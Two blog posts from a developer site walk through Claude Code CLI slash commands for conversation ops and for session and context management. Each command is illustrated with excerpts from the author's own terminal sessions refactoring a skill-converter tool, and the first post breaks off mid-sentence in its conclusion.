DEV Community: Sebastian

Claude Code CLI: Conversation Ops and Terminal Configuration

Sebastian — Thu, 09 Jul 2026 05:31:29 +0000

Claude Code is the frontier agentic tool for coding. It autonomously creates structured plans with individual tasks to implement complex code changes. Under its hood, it parses user prompts, injects them into pre-configured system prompts, and issues and resolves tool usages to operate on a computers file system.

This article continues the complete exploration of all Claude Code CLI commands. The particular focus are conversation ops, steering claude’s invocation in the current project, and permisions, fine-grained control how the claude code terminal can access your files.

The technical context of this article is claude_code v2.1.91, published on 2026-04-02. Examples and most CLI commands should work with newer versions too.

While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbose copies from log messages and screenshots.

Claude Code CLI: Slash Command Overview

Once a Claude Code session is started, more than 40 built-in slash-commands are available. They can be grouped into different categories that reflect the session lifecycle of its invocation, augmented by universal commands. Here is my proposed structure:

✅ Session Configuration
- /add-dir: Add an additional working directory to the current session
- /rename: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file
- /model: Determine the LLM model to be used
- /effort: Configures the effort level of the model, adjusting its internal reasoning behavior
- /login: Log in to the Anthropic subscription or Console
- /logout: Log out of an Anthropic account
✅ Session Reflection
- /cost: Shows the current session cost
- /usage: Shows token consumption in the context of a subscription plan
- /status: Shows essential CLI, model, and account information
- /stats: Shows usage statistics and activity overview
- /config: General purpose configuration
- /update-config: Customizations of Claude Code internals
- /export: Create a compact conversation summary
- /insights: Generates a detailed report with meta information about the current session
✅ Session Management
- /batch: Execute a plan file as a parallel running sub-session
- /btw: Process an additional instruction during a long-running main task
- /loop: Run a specific prompt periodically
- /tasks: List all background tasks
- /fork: Define a staging point in the conversation history from which different branches can be invoked
- /rewind: Roll back the conversation and optionally code base to an earlier state
- /exit: Stop the terminal
- /resume: Continue a session
✅ Context Management
- /clear: Reset the conversation history
- /compact: Define a new conversation history entry, limiting the context that is sent to the LLM provider
- /context: Visualize current context usage as a colored grid
- /memory: Edit Claude memory files
🌀 Conversation Ops
- /rename: Provide a meaningful name to the conversation
- /init: Read the current project and generate a CLAUDE.md file
- /plan: Toggle between editing and plan mode
- /simplify: Review the changed code for efficiency
- /review: Review a merge request and optionally check comments from an origin repo
- /security-review: Invoke a special agent that checks the source code for security issues
- /diff: View and commit staged file changes
- /copy: Copy the last answer to the clipboard
- /export: Create a compact conversation summary
🌀 Terminal Configuration
- /theme: Configure the color theme
- /color: Configure prompt bar color
- /terminal-setup: Configure key bindings
- /vim: Enable or disable VIM editor support when editing files via the CLI
- /statusline: Set up a custom status line for the terminal
Diagnostics & User Support
- /release-notes: Show the Claude Code release notes
- /doctor: Check configuration status
- /debug: Enable verbose debugging output and check for known issues
- /feedback: Write feedback about your Claude Code experience
- /help: Show general information about available slash commands
- /powerup: Explore Claude Code feature with small lessons
- /stickers: Order Claude Code stickers
- /buddy: Hatch a Tamagotchi-like coding companion
Permissions
- /permissions: Fine-grained allow & deny tool permission rules
- /sandbox: Configure settings to secure Claude terminal access and program execution rights
Extensions
- /hooks: View hook configurations for tool events
- /skills: View installed skills
- /agents: Create and manage agents
- /mcp: Set up and manage MCP server definitions
- /chrome: Start a local Chromium browser for browser interaction
- /plugin: Browse and configure CLI extension
- /reload-plugins: Reload all configured plugins
Integrations
- /ide: Show IDE integrations for Claude, for example in Visual Studio Code
- /install-github-app: Configure GitHub actions that interact with Claude
- /install-slack-app: Configure Slack integration
- /mobile: Show a QR code to download the iOS or Android app
- /claude-api: Build native apps that integrate with Anthropic SDK

Groups and commands marked with ✅ were covered in an earlier article, while those with 🌀 are the focus of this article.

Conversation Ops

`/rename`

Session persistence in Claude Code is implemented by writing JSONL files to specific folder in ~/.claude/projects. The assigned filename is a hash value, which makes it difficult to remember.

With the /rename command, you can provide a meaningful name, which is reflected in the file structure too.

/rename refactor-to-python
  ⎿  Session renamed to: refactor-to-python

────────────────────────────────────────────────── refactor-to-python ──
❯
────────────────────────────────────────────────────────────────────────

The association between the custom-name and the session-hash is defined in a global session file. Take a look:

.claude/sessions/1200.json:1:{"pid":1200,"sessionId":"3a0213a0-5ef4-420c-8d11-1bda03f41a1a","cwd":"/opt/claude","startedAt":1777104608328,"kind":"interactive","entrypoint":"cli","name":"refactor-to-python"}

`/init`

Every LLM invocation needs context to work on tasks. Claude Codes memory architecture put the canonical CLAUDE.md file as a permanent context into each session. This command reads the entire working directory, and creates this file as a summary of tis findings. When working on a coding project, it includes the tech stack, architecture, commands and more.

/init

● Write(CLAUDE.md)
  ⎿  Wrote 78 lines to CLAUDE.md
      1 # CLAUDE.md
      2
      3 This file provides guidance to Claude Code (claude.ai/code) when working with code in this reposit
        ory.
      4
      5 ## Overview
      6
      7 skill-convert is a CLI tool that converts skills from Anthropic's skill.sh format to OpenClaw's cl
        awhub format. It handles both local filesystem conversions and remote GitHub repository sources.
      8
      9 ## Common Commands
     … +68 lines (ctrl+o to expand)

● Created CLAUDE.md at /opt/claude/universal-skill-converter/CLAUDE.md. It includes:

  - Commands: dev, build, test, typecheck, lint, format
  - Architecture: Directory tree with descriptions of each module
  - Conversion flow: 6-step process from validation to marker writing
  - Remote sources: How GitHub URLs are detected and handled
  - Error handling: Exit codes and global handlers
  - Dependencies: Key npm packages used

`/plan`

Project size, the number of files and total lines of code, influence how good specific changes are. Although the agentic loop in Claude Code evolves between releases, it is a good idea to plan complex changes a priori.

This command creates a plan.md file, defining all steps, which then serves as a runbook during execution.

Here is an example how a refactoring of my universal-skill-converter project from NodeJS to Python could be implemented. Upon starting, the CLI dialogue even renders questions back to the user.

Refactor this app to python. Write the plan file "refactor-to-python.md"

● I'll help you refactor this app to Python. Let me start by exploring the codebase to
  understand its structure and functionality.

● Explore(Explore main codebase structure)
  ⎿  Done (42 tool uses · 45.7k tokens · 5m 21s)
  (ctrl+o to expand)

  Searched for 3 patterns (ctrl+o to expand)

● Now I understand the codebase completely. Let me create a plan file for refactoring to
  Python.

● Updated plan
  ⎿  /plan to preview

● I have created a comprehensive refactoring plan. Let me confirm a few key design choices with
   you:
──────────────────────────────────────────────────────────────────────
──────────────────────────────────────────────────────────────────────
←  ☒ CLI Framework  ☐ Interface  ☐ Coverage  ☐ Async I/O  ✔ Submit  →

Should I keep the same package structure and CLI command names?

❯ 1. Yes, identical
     Same commands and arguments for zero friction
  2. Custom names
     Can use better Python naming conventions
  3. Type something.
──────────────────────────────────────────────────────────────────────
  4. Chat about this
  5. Skip interview and plan immediately

The generated plan file is stored at .claude/plans/. Here is a summary description ...

Here's the plan file for the Python refactoring:

  Plan Summary

  File: /home/node/.claude/plans/serene-waddling-newt.md

  Project: universal-skill-converter - Convert TypeScript CLI tool to Python

  Key Highlights:

  1. Tech Stack:
    - CLI: Click (user-selected)
    - Validation: Pydantic
    - Formatting: Rich
    - Git: GitPython
    - Testing: pytest
  2. Architecture: Modular layered design (CLI → Core → Models → UI)
  3. File Structure: 20+ Python modules organized in:
    - src/cli.py - Entry point
    - src/core/ - 12 core library modules
    - src/models/ - Pydantic models
    - src/ui/ - Output, prompts, logging
    - tests/ - Comprehensive test suite
  4. Migration Phases:
    - Phase 1: Project setup (30 min)
    - Phase 2: Core library migration (4 hours)
    - Phase 3: Main logic (1.5 hours)
    - Phase 4: CLI layer (1.5 hours)
    - Phase 5: Testing (3 hours)
    - Phase 6: Configuration (1 hour)

  Total: ~12 hours
  5. Success Criteria: >70% test coverage, identical CLI interface, 100% test pass rate, type checking passes

  The plan is ready for execution. Would you like me to proceed with implementation?

... and a peek into the first source-code lines.

## Context

**Project**: universal-skill-converter - CLI tool for converting Anthropic skill.sh format to OpenClaw clawhub format

**Current State**: TypeScript/Node.js application with 1,460 lines of source code, comprehensive testing, and layered architecture

**Refactoring Goal**: Port the entire application to Python while preserving:
- All functionality (local and remote conversion)
- Security features (safe YAML parsing, path sanitization)
- Testing coverage (94 tests, 100% pass rate)
- Architecture patterns (layered design, single responsibility)

## Design Approach

### Architecture Pattern: Modular CLI Application

Following a similar layered approach:
- **CLI Layer**: Argument parsing and command orchestration
- **Core Library**: Business logic modules
- **Validation Layer**: Input validation (using pydantic)
- **UI Layer**: Output formatting and user interaction
- **Tests**: Comprehensive test suite with pytest

### Tech Stack Decisions

**Core Dependencies**:
- `click`: CLI framework (similar to commander) - User selected
- `pydantic`: Data validation and schemas (similar to Zod)
- `yaml`: YAML parsing (with safe_load)
- `rich`: Terminal formatting (similar to picocolors + @clack/prompts)
- `gitpython`: GitHub operations and repository fetching
- `jinja2`: Optional - for template handling if needed

...

## Migration Steps

### Phase 1: Project Setup
1. Create Python project structure
2. Set up pyproject.toml
3. Install dependencies
4. Create basic project skeleton

### Phase 2: Core Library Migration
1. `errors.py` - Custom exception classes
2. `path_validator.py` - Path validation
3. `slug.py` - Slug generation
4. `yaml_handler.py` - YAML parsing/writing
5. `filesystem.py` - File system operations
6. `validator.py` - Input validation
7. `transformer.py` - Frontmatter transformation
8. `migrator.py` - File migration
9. `metadata.py` - Metadata generation
10. `marker.py` - Conversion tracking

`/simplify`

This command is more akin to a skill. It will launch subagents that check different aspects of the code, like duplication or efficiency, converge on all findings, and start implementing them right away.

Here is an example run.

I'll help you simplify the code. Let me first check for changes and then launch the three review agents.

...

● I'll launch three review agents to analyze the codebase for potential improvements across reuse, quality, and efficiency dimensions.

  Running 3 Explore agents… (ctrl+o to expand)
   ├─ Code reuse review · 1 tool use · 13.8k tokens
   │  ⎿  Read: src/
   ├─ Code quality review · 3 tool uses · 14.6k tokens
   │  ⎿  Searching for 1 pattern, reading 2 files…
   └─ Efficiency review · 0 tool uses
      ⎿  Initializing…
     (ctrl+b to run in background)
...

● Now I'll aggregate the findings from all three agents and implement the fixes:

...

● Let me start by implementing the high-priority fixes:

  1. First, let's create utility functions to reduce code duplication:

● Write(src/lib/utils.ts)
  ⎿  Wrote 76 lines to src/lib/utils.ts
       1 import { promises as fs } from 'fs';
       2 import { fileExists, directoryExists } from './fs.js';
       3
       4 // JSON file utilities
       5 export async function readJsonFile<T>(path: string): Promise<T> {
       6   const content = await fs.readFile(path, 'utf-8');
       7   return JSON.parse(content);
       8 }
       9
      10 export async function writeJsonFile<T>(path: string, data: T): Promise<void> {
     … +66 lines (ctrl+o to expand)

...
● The code has been simplified with these key improvements:

  1. Added utility functions in src/lib/utils.ts to reduce code duplication
  2. Optimized conversion process with parallel execution using Promise.all
  3. Added filesystem caching to reduce redundant stat calls
  4. Removed unnecessary existence checks (TOCTOU anti-patterns)
  5. Improved error handling with try-catch blocks
  6. Reduced stringly-typed code with utility functions

`/review`

When working on a branch with new features, it is advised to check its impact on the project. Two different operations are possible

If the current branch does not have any comments from its origin, this command launches general code-quality agents, checking the current source code, and identifying potential changes. Here is an example.

Overview

  This commit implements significant code quality and performance improvements across the universal-skill-converter project. The changes focus on reducing code
  duplication, optimizing performance with parallel execution, improving error handling, and maintaining clean code standards.

  Analysis

  ✅ Strengths

  1. Performance Optimization
    - Excellent use of Promise.all() to execute steps 5-9 in parallel instead of sequentially
    - Added filesystem caching with TTL to reduce redundant stat calls
    - Batched file existence checks with Promise.all() in validator.ts
  2. Code Quality Improvements
    - Created a comprehensive utils.ts module with reusable utilities
    - Reduced code duplication significantly (164 additions vs 61 deletions)
    - Better error handling with try-catch blocks instead of manual existence checks
  3. Best Practices
    - Eliminated TOCTOU (Time-of-Check-to-Time-of-Use) anti-patterns
    - Used proper path construction utilities instead of string concatenation
    - Improved error handling consistency across modules

  ⚠️  Potential Issues

  1. Memory Concerns with Cache
  const statCache = new Map<string, { exists: boolean; isDirectory?: boolean; timestamp: number }>();
    - The cache could grow unbounded if many different paths are checked
    - Suggestion: Add a max cache size or LRU eviction policy
  2. Cache TTL Hardcoding
  const CACHE_TTL = 5000; // 5 seconds
    - The 5-second TTL might not be optimal for all use cases
    - Suggestion: Make this configurable via environment variable
  3. Error Handling in Parallel Operations
    - The parallel Promise.all() will fail if any single operation fails
    - Suggestion: Consider using Promise.allSettled() for better error isolation
  4. Missing Cleanup in Cache
    - clearExpiredCache() is called on every stat but doesn't clean the cache efficiently
    - Suggestion: Run cleanup periodically instead of on every call

  🔧 Specific Improvements

  1. Filesystem Module (fs.ts)
    - Good caching implementation, but could be more memory-efficient
    - Consider adding error types for better error handling
  2. Utils Module (utils.ts)
    - Well-organized utilities, but some functions might be overly specific
    - cleanString() and removeExtension() could be more generic
  3. Marker Module (marker.ts)
    - Excellent error handling improvements
    - The try-catch approach is much cleaner than manual existence checks
  4. Validator Module (validator.ts)
    - Good optimization with Promise.all() for file checks
    - However, the cache might cause stale reads if files are modified during validation

  Security Considerations

  - ✅ No security vulnerabilities introduced
  - ✅ Proper error handling doesn't leak sensitive information
  - ✅ Safe YAML parsing already implemented in previous commits

  Testing Coverage

  - No changes to test files in this commit
  - Suggestion: Add unit tests for the new utility functions
  - Suggestion: Test cache behavior with edge cases

  Overall Assessment

  This is a well-executed refactoring that significantly improves code quality and performance. The changes follow TypeScript best practices and maintain backward
  compatibility. The only areas needing attention are memory management in the cache and potential error isolation in parallel operations.

  Recommendation: Merge with minor consideration for the suggested improvements.

And If the current branch does not have comments from its origin, it can also access and process them, updating the code to comply. For this, the gh binary needs to be installed.

Here is an example:

I'll run gh pr list to see the open PRs and then review them.

● Bash(gh pr list)
  ⎿  12 refactor: improve utility functions to be more generic  feature/optimizations   OPEN    2026-04-25T09:15:26Z

● Now I'll review PR #12.

● Let me check if there are review comments specifically.

● Bash(gh api repos/admantium-sg/universal-skill-converter/pulls/12/comments)
  ⎿  [
       {
         "url": "https://api.github.com/repos/admantium-sg/universal-skill-converter/pulls/comments/3141750050",
     … +62 lines (ctrl+o to expand)

● Perfect! I can see your comments now. You have three specific feedback points:

  1. "Increase to 10s." - About the cache TTL in fs.ts
  2. "Can you unchain these exit codes?" - About the chained operations in fs.ts
  3. "Do not add comments about steps." - About removing step comments in converter.ts

And it will then address these changes.

 Now let me address your feedback:

  1. First, increase the cache TTL to 10 seconds:

● Update(src/lib/fs.ts)
  ⎿  Added 1 line, removed 1 line
      3
      4  // Cache for file system checks to avoid repeated stat calls
      5  const statCache = new Map<string, { exists: boolean; isDirectory?: boolean; timestamp: number }>();
      6 -const CACHE_TTL = 5000; // 5 seconds
      6 +const CACHE_TTL = 10000; // 10 seconds
      7
      8  function clearExpiredCache() {
      9    const now = Date.now();

● 2. Next, unchain the exit codes in directoryExists and fileExists:

● Update(src/lib/fs.ts)
  ⎿  Removed 1 line
      63   * Check if a directory exists.
      64   */
      65  export async function directoryExists(path: string): Promise<boolean> {
      66 -  clearExpiredCache();
      66    const result = await cachedStat(path);
      67    return result.exists && result.isDirectory;
      68  }

● Update(src/lib/fs.ts)
  ⎿  Removed 1 line
      71   * Check if a file exists.
      72   */
      73  export async function fileExists(path: string): Promise<boolean> {
      74 -  clearExpiredCache();
      74    const result = await cachedStat(path);
      75    return result.exists && !result.isDirectory;
      76  }

`/security-review`

Using LLMs for code generation can add security concerns, scaling with the model’s capabilities to not introduce them in the first place. A thorough review to find and address issues should be done regularly.

Similar to the other review commands, this one checks the current source code, or if not on the default branch, evaluates potential security issues of the current branch against the default branch. Aspects like validation, potential path-traversal, permissions, and finally general code quality will be checked.

Here is an example.

Now let's run a security review on the changes compared to main:

● Skill(security)
  ⎿  Initializing…
  ⎿  Error: Unknown skill: security

● Let me check what security issues might be present in the changes by examining the code:

  Read 1 file (ctrl+o to expand)

● Let me check for any potential security vulnerabilities in the utils.ts file:

  Read 1 file (ctrl+o to expand)

● Let me check the validation functions in utils.ts:

  Read 1 file (ctrl+o to expand)

....

● Let me search for the duplicate:

  Searched for 2 patterns (ctrl+o to expand)

● I see the duplicate at lines 66-67. Let me fix it:

● Update(src/lib/converter.ts)
  ⎿  Removed 1 line
      64      ]);
      65
      66      await writeConversionMarker(context.outputDir);
      67 -    await writeConversionMarker(context.outputDir);
      67
      68      return {
      69        success: true,

...
  Security Review Summary

  After reviewing the changes in src/lib/converter.ts, src/lib/fs.ts, and src/lib/utils.ts, here are the security findings:

  ✅ Security Strengths

  1. Path Validation: The code uses sanitizePath() with resolve() and normalize() to prevent directory traversal attacks
  2. Safe YAML Parsing: Uses safe schema for YAML parsing to prevent code injection
  3. Input Validation: Proper validation of required fields and file existence
  4. Error Handling: Errors don't leak sensitive information

  ✅ No Critical Security Issues Found

  The changes appear to be secure and follow good security practices:
  - No path traversal vulnerabilities
  - No command injection risks
  - Proper input sanitization
  - Safe file operations

`/diff`

When working on a source code repository that uses git, this command lists all changed, but not yet committed files.

Its interface is sophisticated, allowing a vertical navigation that lists the "turns", individual user prompts and how they changed editted files. This allows for a fine-granular view of changes. Additionally, you can also select and commit individual files.

Here is an example during working on the universal skill converter.

 /diff

───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
  Uncommitted changes (git diff HEAD)

  Current · T49 · T40 · T39 · T35 · T34 · T33 · T32 · T31 · T30 · T29 · T28 · T12 · T7 ▶

  2 files changed

  ❯ .claude/statusline-command.cjs                                                                              untracked
    2026-04-25-093249-this-session-is-being-continued-from-a-previous-c.txt

And selecting a turn that modified the README.md.

 Turn 49 "Ok. Update REQUIREMENTS.md wi…"

  ◀ Current · T49 · T40 · T39 · T35 · T34 · T33 · T32 · T31 · T30 · T29 · T28 · T12 · T7 ▶

  1 file changed +94 -13


  ❯ /opt/claude/REQUIREMENTS.md                                                                         +94 -13

  ←/→ source · ↑/↓ select · Enter view · Esc close

`/copy`

A simple command that copies the last system response, not the result of a command, from the CLI terminal to your clipboard.

❯ /copy
  ⎿  Copied to clipboard (65 characters, 3 lines)
     Also written to /tmp/claude/response.md

# Content buffer from the clipboard
Security Review Summary

  After reviewing the changes in src/lib/converter.ts, src/lib/fs.ts, and src/lib/utils.ts, here are the security findings:

  ...

`/export`

After a specifically long session, you can export the complete conversation. The resulting file is a verbose export of user, system, and tool messages.

/export
  ⎿  Conversation exported to: /opt/claude/universal-skill-converter/2026-04-25-093249-optimizations.txt

A preview into this file:

╭─── Claude Code v2.1.91 ──────────────────────────────────────────────────────╮
│                                           │ Tips for getting started         │
│               Welcome back!               │ ✔ Run /init to create a CLAUDE.… │
│                                           │ ──────────────────────────────── │
│                  ▐▛███▜▌                  │ Recent activity                  │
│                 ▝▜█████▛▘                 │ No recent activity               │
│                   ▘▘ ▝▝                   │                                  │
│                                           │                                  │
│    claude-haiku-4.5 · API Usage Billing   │                                  │
│   /opt/claude/universal-skill-converter   │                                  │
╰──────────────────────────────────────────────────────────────────────────────╯

✻ Conversation compacted (ctrl+o for history)

❯ /compact
  ⎿  Compacted (ctrl+o to see full summary)
  ⎿  Read src/lib/utils.ts (162 lines)
  ⎿  Read ../.gitenv (4 lines)
  ⎿  Read src/lib/validator.ts (144 lines)
  ⎿  Read src/lib/migrate.ts (35 lines)
  ⎿  Read src/lib/marker.ts (58 lines)
  ⎿  Plan file referenced (~/.claude/plans/fluttering-growing-lecun.md)
  ⎿  Skills restored (review, simplify)

❯ /review

● I'll run gh pr list to see the open PRs and then review them.

● Bash(gh pr list)
  ⎿  12 refactor: improve utility functions to be more generic    
     feature/optimizations    
     OPEN    2026-04-25T09:15:26Z

● Now let me get the diff to review the code changes.

● Bash(gh pr diff 12)
  ⎿  diff --git a/CHANGELOG.md b/CHANGELOG.md
     index e7e6688..d99b9f3 100644
     --- a/CHANGELOG.md
     … +228 lines (ctrl+o to expand)

● Based on the diff, I can see that PR #12 includes several improvements to
  utility functions and optimizations. Let me analyze this thoroughly.

Conclusion

The Claude Code CLI offers more than 40 subcommands. In an ongoing blog series, all commands are explored systematically. In this article, conversation ops and terminal configuration was the focus. For conversation ops, you learned a) to rename the current session with a meaningful, rememberable name, b) put Claude into planning mode, detailing complex changes in an editable markdown file, c) checking the code-quality, d) applying a review of an merge request, and optionally pull comments from GitHub, e) applying a complete security review of your code, f) show conversation turns and modified files, g) to copy the last system message to the clipboard, and finally h) exporting the complete conversation. And in the permission's section, you

Claude Code CLI: Session & Context Management

Sebastian — Mon, 29 Jun 2026 05:33:07 +0000

Claude Code is an agentic tool for code generation. It helps developers to implement new features, analyze and solve bugs, and refactoring of complex code bases. Inside a Claude session, several slash commands are offered. Knowing their functions, and the context in which they are applicable, is essential for using the tool in its full potential.

In an ongoing blog series, all CLI commands are explored systematically. The focus of this article are commands for session and context management - essential for staying focused in long coding session.

The technical context of this article is claude_code v2.1.91, published on 2026-04-02. Examples and most CLI commands should work with newer versions too.

This article originally appeared at my blog admantium.com.

Claude Code CLI: Slash Command Overview

✅ Session Configuration
- /add-dir: Add an additional working directory to the current session
- /rename: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file
- /model: Determine the LLM model to be used
- /effort: Configures the effort level of the model, adjusting its internal reasoning behavior
- /login: Log in to the Anthropic subscription or Console
- /logout: Log out of an Anthropic account
✅ Session Reflection
- /cost: Shows the current session cost
- /usage: Shows token consumption in the context of a subscription plan
- /status: Shows essential CLI, model, and account information
- /stats: Shows usage statistics and activity overview
- /config: General purpose configuration
- /update-config: Customizations of Claude Code internals
- /export: Create a compact conversation summary
- /insights: Generates a detailed report with meta information about the current session
🌀 Session Management
- /batch: Execute a plan file as a parallel running sub-session
- /btw: Process an additional instruction during a long-running main task
- /loop: Run a specific prompt periodically
- /tasks: List all background tasks
- /fork: Define a staging point in the conversation history from which different branches can be invoked
- /rewind: Roll back the conversation and optionally code base to an earlier state
- /exit: Stop the terminal
- /resume: Continue a session
🌀 Context Management
- /clear: Reset the conversation history
- /compact: Define a new conversation history entry, limiting the context that is sent to the LLM provider
- /context: Visualize current context usage as a colored grid
- /memory: Edit Claude memory files
Conversation Ops
- /rename: Provide a meaningful name to the conversation
- /init: Read the current project and generate a CLAUDE.md file
- /plan: Toggle between editing and plan mode
- /simplify: Review the changed code for efficiency
- /review: Review a merge request and optionally check comments from an origin repo
- /security-review: Invoke a special agent that checks the source code for security issues
- /diff: View and commit staged file changes
- /copy: Copy the last answer to the clipboard
- /export: Create a compact conversation summary
Terminal Configuration
- /theme: Configure the color theme
- /color: Configure prompt bar color
- /terminal-setup: Configure key bindings
- /vim: Enable or disable VIM editor support when editing files via the CLI
- /statusline: Set up a custom status line for the terminal
Diagnostics & User Support
- /release-notes: Show the Claude Code release notes
- /doctor: Check configuration status
- /debug: Enable verbose debugging output and check for known issues
- /feedback: Write feedback about your Claude Code experience
- /help: Show general information about available slash commands
- /powerup: Explore Claude Code feature with small lessons
- /stickers: Order Claude Code stickers
- /buddy: Hatch a Tamagotchi-like coding companion
Permissions
- /permissions: Fine-grained allow & deny tool permission rules
- /sandbox: Configure settings to secure Claude terminal access and program execution rights
Extensions
- /hooks: View hook configurations for tool events
- /skills: View installed skills
- /agents: Create and manage agents
- /mcp: Set up and manage MCP server definitions
- /chrome: Start a local Chromium browser for browser interaction
- /plugin: Browse and configure CLI extension
- /reload-plugins: Reload all configured plugins
Integrations
- /ide: Show IDE integrations for Claude, for example in Visual Studio Code
- /install-github-app: Configure GitHub actions that interact with Claude
- /install-slack-app: Configure Slack integration
- /mobile: Show a QR code to download the iOS or Android app
- /claude-api: Build native apps that integrate with Anthropic SDK

Groups and commands marked with ✅ were covered in an earlier article, while those with 🌀 are the focus of this article.

Session Management

`/batch`

In a conventional session with Claude Code, commands are executed linearly. A user prompt gets embedded into a system prompt, the LLM provider process the prompts in thinking mode, suggest tool calls that are executed and looped back to the model, until the model declares a task completed.

To accelerate the execution of complex tasks, the batch command takes a stored plan, analyzes it, and depatches several sub-agents to work on it.

Here is an example of invoking that command to refactor my skill-converter app from NodeJS to Python.

/batch implement the universal-skill-converter plan

● I'll implement the universal-skill-converter refactoring to Python. Let me start by
  entering plan mode to create a detailed batch execution plan.

● Entered plan mode
  Claude is now exploring and designing an implementation approach.

∴ Thinking…

  The user is now asking me to implement the universal-skill-converter plan. They've given me
   the /batch command which means I need to:

  1. Enter plan mode
  2. Research the scope (I've already done this in the previous conversation)
  3. Decompose into independent units
  4. Determine e2e test recipe
  5. Write the plan
  6. Exit plan mode
  7. Spawn workers

  I already have a comprehensive understanding of the codebase from the previous exploration.
   Let me now create a proper plan for the batch execution.

  From the previous exploration, I know:
  - The project is a TypeScript/Node.js CLI tool that converts skills from skill.sh to
  clawhub format
  - It has 14 TypeScript modules in src/lib/
  - It has CLI commands in src/commands/
  - It has types in src/types/
  - It has UI in src/ui/
  - There are 94 tests

  For the batch approach, I need to:
  1. Create work units that are independently implementable
  2. Each unit should be in an isolated worktree
  3. Each unit should be mergeable on its own
  4. Each unit should be roughly uniform in size

`/btw`

Instructions entered in the CLI start a long-running process. The process can be interrupted by pressing ESC, or aborted with ESC-ESC. If you want to let Claude on a parallel task, the "by-the-way" command can be executed.

Here is an example for this invocation during the refactoring to Python main task

/btw list background processes

    I don't have access to any tools to list background processes. As a separate lightweight
    agent without file system or command execution capabilities, I cannot run commands or
    view the system's process list.

    You would need to use your terminal's commands directly, such as:
    - ps aux (Linux/macOS)
    - tasklist (Windows)
    - pgrep (to find specific processes)

`/loop`

This command allows you to run a specififc prompt or other command periodically. This can be helpfull in long running sessions, when you want to e.g. update documents like the CLAUDE.md file, or run linter or test commands on code bases.

Here is an example.

/loop 1m "run /init"

● CronCreate(*/1 * * * *: run /init)
  ⎿  Scheduled d6ad1c81 (Every minute)

● Skill(init)
  ⎿  Successfully loaded skill

  Searched for 3 patterns, read 1 file (ctrl+o to expand)

● The CLAUDE.md already exists at /opt/claude/universal-skill-converter/CLAUDE.md and appears comprehensive and
  accurate. It includes:

  - Commands: dev, build, test, coverage, typecheck, lint, format

`/tasks`

During investigating complex code bases, or when working with the /batch command, several parallel running tasks are spawned, including tool calls and agent invocations. They can be observed with the same-named command.

Here is an example during the above refactoring step.

● Let me explore the codebase more thoroughly to create an effective batch execution plan.

● Read(/opt/claude/universal-skill-converter/package.json)
  ⎿  Read 50 lines

● Read(/opt/claude/universal-skill-converter/tsconfig.json)
  ⎿  Read 21 lines

● Search(pattern: "src/**/*.ts")
  ⎿  Found 18 files
     src/lib/meta.ts
     src/lib/path.ts
     src/lib/slug.ts
     src/lib/errors.ts
     src/lib/fs.ts
     src/lib/migrate.ts
     src/lib/yaml.ts
     src/commands/convert.ts
     src/index.ts
     src/lib/converter.ts
     src/lib/marker.ts
     src/lib/remote.ts
     src/lib/transform.ts
     src/lib/validator.ts
     src/types/index.ts
     src/ui/output.ts
     src/ui/prompts.ts
     src/ui/verbose.ts

● Read(/opt/claude/universal-skill-converter/src/commands/convert.ts)
  ⎿  Read 227 lines

● Read(/opt/claude/universal-skill-converter/src/lib/converter.ts)
  ⎿  Read 102 lines

● Read(/opt/claude/universal-skill-converter/src/types/index.ts)
  ⎿  Read 96 lines

● Read(/opt/claude/universal-skill-converter/src/ui/output.ts)
  ⎿  Read 64 lines

● Read(/opt/claude/universal-skill-converter/vitest.config.ts)
  ⎿  Read 15 lines

● Read(/opt/claude/universal-skill-converter/README.md)
  ⎿  Read 314 lines

● Read(/opt/claude/universal-skill-converter/src/lib/remote.ts)
  ⎿  Read 334 lines

● Read(/opt/claude/universal-skill-converter/src/lib/marker.ts)
  ⎿  Read 61 lines

● Read(/opt/claude/universal-skill-converter/src/lib/metadata.ts

`/branch`

Note: This command's name was /fork up until Claude Code v2.1.77.

Normally, your prompts and the tools responses form a linear structure. If you are at a decisive point, e.g. during refactoring, and want to investigate different outcomes, you can create a fork from this conversation.

Executing this command effectively copies your current session to a new one, and prints how to resume the existing one.

/fork
 Branched conversation. You are now in the branch.
     To resume the original: claude -r d907194e-ba58-4640-9e32-49727cc351b5

`/rewind`

Conversations are a linear sequence of user prompts, LLM invocation, and printed answers. Every interaction point, and the state of the current working directory, is stored as an internal snapshot. If, during a longer session, the code base you are working on evolved to an undesired state, you can rollback to any of those snapshots.

The /rewind command first shows you all of these snapshots ...

 Rewind

 Restore the code and/or conversation to the point before…

   Refactor this app to python. Write the plan file "refactor-to-python.md"
   No code changes

   /model
   No code changes

   Refactor this app to python. Write the plan file "refactor-to-python.md"
   serene-waddling-newt.md +553 -2

 ❯ /batch implement the universal-skill-converter plan
   No code changes

... and the allows cursor navigation to select from where to rebegin. When you make a selection, you are asked what to keep.

 Confirm you want to restore to the point before you sent this message:

 │ Refactor this app to python. Write the plan file "refactor-to-python.md"
 │ (52m ago)

 The conversation will be forked.
 The code will be restored +0 -550 in serene-waddling-newt.md.

 ❯ 1. Restore code and conversation
   2. Restore conversation
   3. Restore code
   4. Summarize from here
   5. Never mind

 ⚠ Rewinding does not affect files edited manually or via bash.

`/exit`

The current session can be immediately stopped with this command. The return message will either name the session ID, the session name if you provided one, or if you used the /branch command, its name.

For a named session:

Resume this session with:
claude --resume "refactor-to-python"

And for a branch:

❯ /exit
Resume this session with:
claude --resume "Refactor this app to python. Write the plan file \"refactor-to-python.md\" (Branch)"

`/resume`

An exited conversation can be resumed either via the CLI flag or when inside a session. Here is an example for the second option.

/resume refactor-to-python

Context Management

`/context`

Context is the sum of the loaded CLAUDE.md files, memory files, prompts, mcp servers, skills, user and system messages. During long sessions, the context fills up, and this command visualizes the accumulated structure.

`/compact`

During very long sessions with Claude, answer quality might degrade, code quality drops, and more and more fixes are required to keep code running. This is an indicator that the overall context contains too many instructions, which confuse the model.

The /compact command refreshes the context. But what actually happens when this command is executed? The JSONL session file is amended with a new document. And this document summaries the most important user and system messages. And from then on, any new request that is send to the LLM provider starts with this summary document only, resulting in an alltogether fresh context.

❯ /compact
  ⎿  Compacted (ctrl+o to see full summary)
  ⎿  Read src/lib/remote.ts (334 lines)
  ⎿  Read src/lib/marker.ts (61 lines)
  ⎿  Read README.md (314 lines)
  ⎿  Read src/ui/output.ts (64 lines)
  ⎿  Plan file referenced (~/.claude/plans/fluttering-growing-lecun.md)

Observe the new document in the session history:

{
